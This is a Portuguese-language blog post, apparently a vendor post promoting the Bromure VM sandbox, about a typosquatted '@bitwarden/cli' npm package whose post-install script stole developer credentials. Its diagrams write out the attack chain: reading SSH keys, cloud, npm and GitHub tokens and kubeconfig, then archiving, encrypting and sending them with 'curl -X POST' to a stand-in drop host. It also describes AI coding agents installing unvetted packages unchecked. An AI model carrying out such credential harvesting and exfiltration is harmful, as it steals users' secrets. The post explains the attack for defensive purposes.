Voltar para todas as publicações
Publicado em · por Renaud Deraison

O seu agente de programação instalou o Bitwarden falso

No dia 22 de abril, alguém subiu um pacote npm malicioso chamado @bitwarden/[email protected] — um typosquat que varreu chaves SSH, credenciais AWS/Azure/GCP, tokens do GitHub, tokens de publicação npm e kubeconfigs de qualquer máquina que o executasse. Aquilo de que o pacote foi feito para se alimentar é exatamente o que os agentes de programação modernos fazem sem pensar: instalar o que quer que o npm devolva. Eis o aspecto dessa cadeia, e o que muda quando o agente roda dentro de uma VM Bromure em vez de no seu laptop.

Na semana passada alguém subiu para o npm um pacote chamado @bitwarden/[email protected]. O Bitwarden CLI verdadeiro está bem. O falso era um typosquat com um script post-install que lia as chaves SSH do desenvolvedor, as credenciais da AWS, o token do npm e a kubeconfig, e dava POST do bundle para um servidor num espaço de IP alugado por alguém. Há uma piada enterrada nisto — um gerenciador de senhas falso cujo trabalho real é roubar credenciais — mas a observação mais útil é que, em 2026, os mais propensos a digitar npm install @bitwarden/cli já não são desenvolvedores humanos. São agentes de programação que instalam o que quer que o gerenciador de pacotes lhes devolva.

Olha. Aqui vai a notícia, em três frases.

Em 22 de abril de 2026, alguém publicou no npm um pacote com o nome @bitwarden/[email protected]. Segundo a análise da Unit 42, o pacote era um typosquat atribuído a um grupo que se intitula TeamPCP — o mesmo time que a Datadog ligou ao comprometimento do pacote LiteLLM no PyPI três semanas antes — e o seu script post-install vasculhava o host por credenciais da AWS, Azure e GCP, tokens de publicação do npm, tokens do GitHub, chaves SSH e kubeconfigs, empacotava tudo e enviava para a infraestrutura do atacante. A OX Security, enquadrando o mesmo incidente num contexto mais amplo, chamou-lhe a terceira vinda do Shai-Hulud — a mais recente entrada num verme autorreplicante de cadeia de suprimentos que, desde setembro de 2025, devorou milhares de pacotes npm e não dá sinais de cansar.

A piada, que quero tirar da frente antes de falar do que fazer a respeito, é que o Bitwarden CLI falso, em certo sentido, faz exatamente o que um Bitwarden CLI deveria fazer. O trabalho dele é saber sobre muitas credenciais. As credenciais em questão só não eram aquelas para as quais o usuário se inscreveu. Enfim. O ataque em si, mecanicamente, é desinteressante. O que é interessante, e o que faz deste incidente algo digno de um post, é quem vai instalá-lo.

Um pacote que ninguém digita mais.

Uma desenvolvedora humana que quer o Bitwarden CLI verdadeiro costuma ir a bitwarden.com/help/cli, ler a documentação, copiar o comando de instalação a partir de uma página cuja cadeia de certificados TLS termina num fornecedor que ela reconhece, e digitá-lo. Ela pode errar a digitação, claro — essa é toda a premissa do typosquatting — mas tem que estar com pressa, no escuro, e com azar.

Agentes de programação não estão com pressa, no escuro, ou com azar. Eles são algo pior: confiantemente errados, à velocidade da máquina. Você pede ao Claude Code para "ligar o Bitwarden para o script de deploy puxar a API key do vault", e o modelo — que leu um milhão de blog posts dizendo npm install -g @bitwarden/cli — digita npm install -g @bitwarden/cli. O gerenciador de pacotes devolve um pacote chamado @bitwarden/cli. Não há ninguém no loop conferindo o campo publisher. Não há cadeia de certificados de bitwarden.com para inspecionar, porque o npm é a cadeia de certificados. De fato, não há motivo para o agente não rodar o script post-install que o pacote trouxe, porque é isso que pacotes npm fazem.

LAPTOP DO DEV — sistema de arquivos do host visível para tudo que o agente rodarAGENTE DE PROGRAMAÇÃO$ claude> ligar bitwarden clitool: bashnpm i -g @bitwarden/cliREGISTRO npm@bitwarden/cli 2026.4.0 ← typosquat publisher: not-bitwarden scripts.postinstall: yesPOST-INSTALL LÊ O HOST~/.ssh/id_ed25519~/.aws/credentials~/.kube/config~/.npmrc // _authToken$GH_TOKEN~/.config/gcloud/~/.azure/tar | aes-256 | rsa-4096POST https://…/droptudo real, tudo legívelATACANTEtem tudoabsolutamente tudoexfilO QUE O AGENTE NUNCA NOTOUUm pacote chamado @bitwarden/cli pode, por especificação, ler o diretório home e chamar uma URL.Nada nesta cadeia é uma vulnerabilidade do npm ou do Node. É o contrato documentado.
Como a cadeia se parece num laptop de desenvolvimento normal, em que é o agente quem digita. O agente pede `@bitwarden/cli`. O registro devolve o typosquat. O script post-install lê ~/.aws, ~/.ssh, ~/.npmrc, $GH_TOKEN, ~/.kube/config — ou seja, tudo a que o agente precisava ter acesso para ser útil — e dá POST para a infraestrutura do atacante. Nada disto é exótico; é o comportamento documentado dos hooks post-install do npm, aplicado a um pacote que o humano nunca ia inspecionar.

O que precisa ser notado nesta imagem é que nenhuma parte é um bug. Pacotes npm têm direito de embarcar scripts postinstall. Esses scripts rodam com os mesmos privilégios do usuário que invoca o npm. Um script rodando como o usuário pode ler tudo que o usuário pode ler. Isso inclui — e é a parte que vira problema quando é um agente quem digita — ~/.ssh/id_ed25519, ~/.aws/credentials, o token de publicação npm em ~/.npmrc que permite republicar outros pacotes, o token do GitHub na sua shell, a kubeconfig que permite fazer kubectl exec em produção. Você não pôs essas coisas ali para o agente. Pôs ali para você. O agente está agora usando as suas mãos.

Esta é a parte em que, se eu estivesse tentando vender o mesmo problema em 2018, agora eu diria "e por isso você deveria usar um sandbox". E você diria, com razão: "já ouvi falar de sandboxes". E iríamos os dois tomar um café. A razão por que estou escrevendo este post em 2026 é que o sandbox que de fato torna o cenário @bitwarden/cli num não-evento tem um formato um pouco diferente do que vem sendo oferecido na última década, e a diferença é o ponto inteiro.

A forma da correção real.

Suponha que, em vez de rodar isto no seu Mac, o agente de programação rode dentro de uma VM Linux que compartilhe a pasta de projeto que você apontou. Suponha que o ~/.aws/credentials dessa VM seja um stub — um arquivo de credenciais AWS sintaticamente válido que não contém nada real — e o mesmo para ~/.npmrc, $GH_TOKEN e os demais. Suponha que a VM não tenha ~/.ssh/id_ed25519 algum, apenas um socket de ssh-agent encaminhado cujas chaves estão na Keychain do macOS, do lado do host da fronteira. Suponha, finalmente, que haja um pequeno proxy no host que reconhece esses stubs no fio e os troca pelos reais — mas só em endpoints na lista branca, e só no momento em que uma requisição efetivamente sai do hipervisor.

Agora rode o script post-install do @bitwarden/cli nessa VM. Ele faz exatamente o que fazia antes. Lê ~/.aws/credentials. Lê ~/.npmrc. Lê $GH_TOKEN. Lê até o conteúdo do arquivo socket do ssh-agent, que é um socket de domínio Unix e por isso tem zero bytes. Empacota tudo, criptografa com a chave RSA-4096 hardcodada, e dá POST para o servidor de drop.

O servidor de drop recebe um bundle criptograficamente perfeitamente autêntico de placeholders.

VM BROMURE (convidado Linux) — o que o script post-install consegue verAGENTE DE PROGRAMAÇÃO$ claude> ligar bitwardentool: bashnpm i -g @bw/cli↳ postinstall rodaFS & ENV — só stubs~/.aws/credentialsaws_secret = stub-aws-…~/.npmrc_authToken = stub-npm-…$GH_TOKENghp_stub_…~/.ssh/id_ed25519No such file or directory~/.ssh/agent.socksocket → Keychain do hostTENTATIVA DE EXFILtar -cf bundle …openssl rsautl -encryptcurl -X POST drop.bad/upayload: stubs criptografado, mas stubsHIPERVISOR — proxy intermediador de credenciaisHOST macOS — segredos reais, nunca cruzaram a fronteiraVAULT REAL DE CREDENCIAISKeychain do macOSid_ed25519 (privada)~/.aws/credentialsAKIA… (real)~/.config/gh/hosts.ymlghp_real…~/.kube/configbearer prod (real)~/.npmrcnpm_… (publish real)PROXY — substitui stub por real na saídagit push → api.github.com Authorization: ghp_stub_… ⇒ ghp_real_…aws s3 ls → *.amazonaws.com AKIA-stub ⇒ AKIA-real (sigv4 reassinado)drop.bad/u: fora da lista branca ⇒ stub sai como stubstubs saem, sem match no proxyA requisição de exfil tem permissão para sair. Só não há nada útil dentro dela.
A mesma cadeia dentro de uma VM Bromure. O agente roda a mesma instalação. O script post-install faz a mesma varredura. As credenciais que ele encontra em ~/.aws, ~/.npmrc e $GH_TOKEN são stubs com os quais a VM sempre ia vir. Não há chave SSH no disco porque não há chave SSH no disco; há um socket de ssh-agent encaminhado cujo material de chave real vive na Keychain do macOS do outro lado do hipervisor. O POST de exfiltração sai, criptografado, com placeholders dentro.

Há alguns pontos sutis na imagem em que vale a pena desacelerar, porque são a diferença entre este desenho e um contêiner.

O primeiro é que o proxy é de saída, na lista branca e no fio. Ele não é um sidecar dentro da VM. A VM nunca tem o token real do GitHub em nenhuma forma alcançável. Não há variável de ambiente para despejar, nem arquivo para ler, nem página de memória para raspar. Quando o agente roda git push, a requisição sai da VM com o stub no header Authorization; o proxy do host reconhece o stub, troca pelo seu ghp_… real, encaminha a requisição e encaminha a resposta de volta. Quando o malware roda curl -X POST drop.bad/u, o proxy procura drop.bad, não acha nada na lista branca e ou descarta a requisição ou — dependendo da política de saída da VM — a encaminha como está, com o stub que o malware tiver pego. De qualquer forma, a credencial real está do lado errado da fronteira no único momento em que o malware estava olhando.

O segundo é que a chave SSH não está, em nenhum sentido, dentro da VM. ssh-agent roda no macOS. As chaves privadas do agente vivem na Keychain do macOS. O Bromure encaminha o socket do agente — do mesmo jeito que o OpenSSH faz desde os anos 90, e pelo mesmo motivo — para dentro da VM. Dentro da VM, ssh e git funcionam do jeito que sempre funcionaram; a operação de assinatura subjacente acontece no host, onde o malware rodando dentro da VM não consegue vê-la. Um pacote que faz cat ~/.ssh/id_ed25519 recebe No such file or directory e vai embora.

Por que um contêiner não te leva até aqui.

Olha. A objeção a essa altura — e ela é justa — é "ok, mas a gente tem Docker há dez anos, dá para rodar um agente dentro de um contêiner, e isso não basta?". Bastaria, exceto por dois motivos chatos.

O primeiro é que, para tornar um contêiner útil para as coisas que um agente de programação realmente faz — git push, gh pr create, aws s3 cp, npm publish, kubectl exec — você acaba montando ~/.ssh, ~/.aws/credentials, ~/.npmrc e o seu token do GitHub dentro do contêiner. Nesse ponto, o script post-install faz cat ~/.ssh/id_ed25519 e pega o arquivo de verdade. Contêineres não têm um intermediador de credenciais; têm um bind mount. O bind mount é exatamente o ponto fraco que o malware estava procurando.

O segundo é que, no macOS, o contêiner está rodando dentro de uma VM Linux escondida de qualquer jeito. Docker Desktop traz uma; o OrbStack traz uma; o Colima traz uma. Você já está pagando o custo da VM — o disco, a memória, o tempo de boot. O argumento a favor de um contêiner, no macOS, em 2026, não é "é mais leve". É só "é com isso que estou acostumado". O Bromure corta a camada do meio. Há uma única VM. Ela é visível. Ela é sua. O intermediador de credenciais e o forwarding do ssh-agent são as peças para as quais o modelo de contêiner nunca teve história.

O que o tracer pega que você não ia ler.

A outra coisa que vale dizer sobre um agente que instala algo que ninguém pediu é que muitas vezes ninguém percebeu. O agente roda npm install, o agente recebe um muro de output, o agente resume "instalei o Bitwarden CLI e configurei" numa frase só no chat, e você passa rolando. O script post-install rodou no meio desse muro. Você não leu o muro. Ninguém lê o muro.

O tracer de sessão do Bromure captura o muro — todo prompt, toda chamada de ferramenta, todo comando de shell, toda escrita de arquivo, todo exit code — e te deixa voltar lá depois que a sessão acaba. "Encontre todo npm install que o agente rodou hoje" é um grep. "O agente rodou alguma ferramenta que escreveu fora da pasta do projeto?" é um grep. Quando aparecer o próximo @bitwarden/[email protected] — e vai aparecer — o trace te diz quais sessões mexeram nele e quais pastas de projeto estavam montadas na hora. Você não precisa reconstruir de memória ou a partir de um scrollback parcial. A sessão é o log de auditoria.

O que isto pega

Um agente de programação que instala @bitwarden/cli (ou litellm, ou axios, ou o próximo) dentro de uma VM Bromure encontra, quando varre por credenciais, um diretório SSH vazio e um chaveiro de stubs. O script post-install roda. O POST de exfil sai. O bundle é um placeholder. O raio de impacto é a VM.

O que o reset transforma em não-evento

Se o malware faz qualquer coisa além de roubo de credenciais — persistência em crontab, um ~/.bashrc envenenado, um equivalente a launchd dentro do convidado — nada disso sobrevive ao próximo bromure reset. Você não precisa encontrar a persistência; precisa jogá-la fora. Três segundos, kernel novo, segue programando.

O que isto não pega

Um pacote que chama um backend real que você liberou na lista branca — digamos um pacote que usa o seu token do GitHub real para apagar os seus próprios repositórios — recebe o token real no fio, por design, porque é assim que git push funciona. A defesa é uma pequena lista branca de saída e um trace de sessão, não onisciência. Dano dentro da pasta do projeto continua caindo dentro da pasta do projeto.

O que ainda exige um humano

Nada no Bromure impede que um agente de programação seja convencido a commitar código ruim. A fronteira protege as credenciais na sua máquina; ela não revisa o diff. Leia o diff. O trace facilita saber quais diffs ler.

Uma última coisa.

Existe uma versão desta história em que eu te diria que a lição é "audite as suas dependências". Existe também uma versão em que a lição é "pare de usar npm". As duas versões existem, as duas estão em parte certas, e nenhuma vai acontecer no seu time neste trimestre.

A versão que de fato vai acontecer no seu time neste trimestre é que o agente vai instalar alguma coisa que não devia ter instalado, porque o agente instala muita coisa, e em algum lugar da cauda longa do que ele instala vai haver um pacote que foi subido na quarta-feira passada por alguém que se autodenomina TeamPCP ou Shai-Hulud ou seja lá como o próximo grupo se chame. A pergunta é só: quando isso acontecer, o script post-install encontra os segredos, ou encontra um muro?

Bromure Agentic Coding é esse muro. Também é gratuito, código aberto e disponível desde hoje. A bola está com você.